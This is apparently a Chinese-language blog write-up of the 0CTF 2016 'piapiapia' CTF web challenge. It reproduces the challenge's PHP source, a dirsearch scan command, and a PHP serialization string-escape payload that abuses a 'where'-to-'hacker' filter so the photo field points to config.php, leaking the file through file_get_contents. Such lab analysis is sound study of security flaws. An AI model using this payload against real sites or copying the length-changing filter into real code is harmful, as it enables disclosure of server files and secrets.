0CTF 2016 piapiapia

0CTF 2016 piapiapia

周日 2月 16 2025
1366 字 · 14 分钟

看别人WP的时候看到的一个问题

  • 在buuctf做题总是这样,御剑线程开1,不管有没有压缩文件,统统扫不到- -但是可以扫出来普通的php文件,dirsearch要加延迟和调线程,不然都是429,可以扫到压缩文件,但是普通的php文件扫不到。

方法如下dirsearch -u URL -t 2 --delay 0.2 速度大概是8-9/s

扫出几个php和www.zip,php空回显。

PHP
<?php
  require('config.php');

class user extends mysql{
  private $table = 'users';

  public function is_exists($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    return parent::select($this->table, $where);
  }
  public function register($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $key_list = Array('username', 'password');
    $value_list = Array($username, md5($password));
    return parent::insert($this->table, $key_list, $value_list);
  }
  public function login($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    if ($object && $object->password === md5($password)) {
      return true;
    } else {
      return false;
    }
  }
  public function show_profile($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
  }
  public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
  }
  public function __tostring() {
    return __class__;
  }
}

class mysql {
  private $link = null;

  public function connect($config) {
    $this->link = mysql_connect(
      $config['hostname'],
      $config['username'],
      $config['password']
    );
    mysql_select_db($config['database']);
    mysql_query("SET sql_mode='strict_all_tables'");

    return $this->link;
  }

  public function select($table, $where, $ret = '*') {
    $sql = "SELECT $ret FROM $table WHERE $where";
    $result = mysql_query($sql, $this->link);
    return mysql_fetch_object($result);
  }

  public function insert($table, $key_list, $value_list) {
    $key = implode(',', $key_list);
    $value = '\'' . implode('\',\'', $value_list) . '\'';
    $sql = "INSERT INTO $table ($key) VALUES ($value)";
    return mysql_query($sql);
  }

  public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
  }

  public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }
  public function __tostring() {
    return __class__;
  }
}
session_start();
$user = new user();
$user->connect($config);
PHP
<?php
    require_once('class.php');
    if($_SESSION['username']) {
        header('Location: profile.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        if(strlen($username) < 3 or strlen($username) > 16)
            die('Invalid user name');

        if(strlen($password) < 3 or strlen($password) > 16)
            die('Invalid password');

        if($user->login($username, $password)) {
            $_SESSION['username'] = $username;
            header('Location: profile.php');
            exit;
        }
        else {
            die('Invalid user name or password');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">

            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>
PHP
<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');
  }
  $username = $_SESSION['username'];
  $profile=$user->show_profile($username);
  if($profile  == null) {
    header('Location: update.php');
  }
  else {
    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
    <h3>Hi <?php echo $nickname;?></h3>
    <label>Phone: <?php echo $phone;?></label>
    <label>Email: <?php echo $email;?></label>
  </div>
</body>
</html>
<?php
  }
?>
PHP
<?php
  require_once('class.php');
  if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if(strlen($username) < 3 or strlen($username) > 16)
      die('Invalid user name');

    if(strlen($password) < 3 or strlen($password) > 16)
      die('Invalid password');
    if(!$user->is_exists($username)) {
      $user->register($username, $password);
      echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    else {
      die('User name Already Exists');
    }
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Register</h3>
      <label>Username:</label>
      <input type="text" name="username" style="height:30px"class="span3"/>
      <label>Password:</label>
      <input type="password" name="password" style="height:30px" class="span3">

      <button type="submit" class="btn btn-primary">REGISTER</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>
PHP
<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');
  }
  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');

    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Please Update Your Profile</h3>
      <label>Phone:</label>
      <input type="text" name="phone" style="height:30px"class="span3"/>
      <label>Email:</label>
      <input type="text" name="email" style="height:30px"class="span3"/>
      <label>Nickname:</label>
      <input type="text" name="nickname" style="height:30px" class="span3">
      <label for="file">Photo:</label>
      <input type="file" name="photo" style="height:30px"class="span3"/>
      <button type="submit" class="btn btn-primary">UPDATE</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>

审计www.zip,一眼看出profile.php大概率有问题,一个反序列化一个file_get_contents和几个echo。$profile的定义在class.php里,写到这结合题目名字piapiapia,猜测大概字符串逃逸。flag在config.php里

seay扫一次

尝试注册一个正常的账号,到profile.php发现一个文件上传的点,会base64回显出来。猜测思路大概就是经过反序列化字符串逃逸回显config.php或者文件上传webshell

class.php中定义了挺多东西的,粗略看一眼发现有一个function filter($string)对字符串有替换,符合字符串逃逸特征,其中仅wherehacker少一个字母,可以构造变长型字符串逃逸

PHP
public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }

从profile出发,找突破点,首先找到照片

PHP
$profile = unserialize($profile);
$photo = base64_encode(file_get_contents($profile['photo']));

$profile['photo']$profile反序列化后photo属性

搜索photo,发现是update.php中定义的

PHP
$profile['photo'] = 'upload/' . md5($file['name']);

发现构造反序列化的点了

PHP
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

发现update_profile函数,跟进看一下,$new_profile = parent::filter($new_profile);$new_profile也就是update.php中的serialize($profile)进行了filter函数过滤

PHP
public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
  }

也就是phone,email,nickname都要经过过滤,同时update.php中要求phone和email符合常见格式,如下。

PHP
if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');

这里顺便提一嘴

PHP
$_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']
$file = $_FILES['photo'];
md5($file['name'])

$_FILES是关键字FILES数组,自定了一个name属性,因此这里的name指的是文件名

那么就字符串逃逸掉nickname,在本地起一个php

PHP
<?php
$name='1.jpg';
$profile['phone'] = '19711111111';
$profile['email'] = '19711111111@qq.com';
$profile['nickname'] = 'pine';
$profile['photo'] = 'upload/' . md5($name);
$a=serialize($profile);
print_r($a);
echo '<br>';
var_dump($profile);
//a:4:{s:5:"phone";s:11:"19711111111";s:5:"email";s:18:"19711111111@qq.com";s:8:"nickname";s:4:"pine";s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
//array(4) { ["phone"]=> string(11) "19711111111" ["email"]=> string(18) "19711111111@qq.com" ["nickname"]=> string(4) "pine" ["photo"]=> string(39) "upload/f3ccdd27d2000e3f9255a7e3e2c48800" }

a:4:{s:5:"phone";s:11:"19711111111";s:5:"email";s:18:"19711111111@qq.com";s:8:"nickname";s:4:"pine";s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

config.php是同级目录,所以删掉upload/

PHP
<?php
$name='config.php';
$profile['phone'] = '19711111111';
$profile['email'] = '19711111111@qq.com';
$profile['nickname'] = 'pine';
$profile['photo'] = $name;
$a=serialize($profile);
print_r($a);
echo '<br>';
var_dump($profile);
//a:4:{s:5:"phone";s:11:"19711111111";s:5:"email";s:18:"19711111111@qq.com";s:8:"nickname";s:4:"pine";s:5:"photo";s:10:"config.php";}

前文提到nickname会经过过滤filter函数将含有的where字符换成hacker

a:4:{s:5:"phone";s:11:"19711111111";s:5:"email";s:18:"19711111111@qq.com";s:8:"nickname";s:4:"pine";s:5:"photo";s:10:"config.php";}

PHP
<?php
function filter($string){
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
$name='config.php';
$profile['phone'] = '19711111111';
$profile['email'] = '197111111@qq.com';
$arr=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
// $profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['nickname'] = $arr;
$profile['photo'] = $name;
$a=filter(serialize($profile));
print_r($a);
echo '<br>';
$a=unserialize($a);
var_dump($a);


Thanks for reading!

0CTF 2016 piapiapia

周日 2月 16 2025
1366 字 · 14 分钟